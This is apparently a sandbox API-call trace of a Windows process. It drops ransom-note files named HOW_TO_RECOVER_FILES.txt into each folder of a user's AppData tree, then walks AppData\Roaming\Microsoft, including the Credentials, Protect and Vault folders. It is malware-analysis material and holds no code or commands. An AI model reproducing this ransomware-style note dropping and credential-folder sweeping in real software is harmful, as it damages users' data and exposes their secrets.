0 [0231.039] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0231.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0231.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0231.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204e9750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8d [0231.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9c70) returned 1 [0231.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.039] GetFileType (hFile=0x864) returned 0x1 [0231.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9be0) returned 1 [0231.039] GetFileType (hFile=0x864) returned 0x1 [0231.040] WriteFile (in: hFile=0x864, lpBuffer=0x37d5c28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204e9d38, lpOverlapped=0x0 | out: lpBuffer=0x37d5c28*, lpNumberOfBytesWritten=0x204e9d38*=0x5d0, lpOverlapped=0x0) returned 1 [0231.041] CloseHandle (hObject=0x864) returned 1 [0231.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x77 [0231.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea6a0) returned 1 [0231.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.042] GetFileType (hFile=0x864) returned 0x1 [0231.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea610) returned 1 [0231.042] GetFileType (hFile=0x864) returned 0x1 [0231.042] WriteFile (in: hFile=0x864, lpBuffer=0x37d9550*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ea768, lpOverlapped=0x0 | out: lpBuffer=0x37d9550*, lpNumberOfBytesWritten=0x204ea768*=0x5d0, lpOverlapped=0x0) returned 1 [0231.043] CloseHandle (hObject=0x864) returned 1 [0231.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0231.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0231.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.044] GetFileType (hFile=0x864) returned 0x1 [0231.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0231.044] GetFileType (hFile=0x864) returned 0x1 [0231.045] WriteFile (in: hFile=0x864, lpBuffer=0x37dce68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x37dce68*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0231.046] CloseHandle (hObject=0x864) returned 1 [0231.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0231.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0231.046] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.047] GetFileType (hFile=0x864) returned 0x1 [0231.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0231.047] GetFileType (hFile=0x864) returned 0x1 [0231.048] WriteFile (in: hFile=0x864, lpBuffer=0x37e0750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37e0750*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0231.049] CloseHandle (hObject=0x864) returned 1 [0231.049] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0231.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0231.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.049] GetFileType (hFile=0x864) returned 0x1 [0231.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0231.049] GetFileType (hFile=0x864) returned 0x1 [0231.050] WriteFile (in: hFile=0x864, lpBuffer=0x37e4018*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37e4018*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0231.051] CloseHandle (hObject=0x864) returned 1 [0231.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0231.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0231.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0231.053] GetFileType (hFile=0x864) returned 0x1 [0231.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0231.053] GetFileType (hFile=0x864) returned 0x1 [0231.054] WriteFile (in: hFile=0x864, lpBuffer=0x37e7a10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37e7a10*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0231.055] CloseHandle (hObject=0x864) returned 1 [0231.055] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0231.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0231.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0231.104] GetFileType (hFile=0x860) returned 0x1 [0231.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0231.104] GetFileType (hFile=0x860) returned 0x1 [0231.104] WriteFile (in: hFile=0x860, lpBuffer=0x37eb268*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x37eb268*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0231.105] CloseHandle (hObject=0x860) returned 1 [0231.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0231.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0231.105] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0231.106] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.106] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0231.106] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0231.106] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0231.106] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32ff935, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0231.107] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0231.108] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0231.109] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, 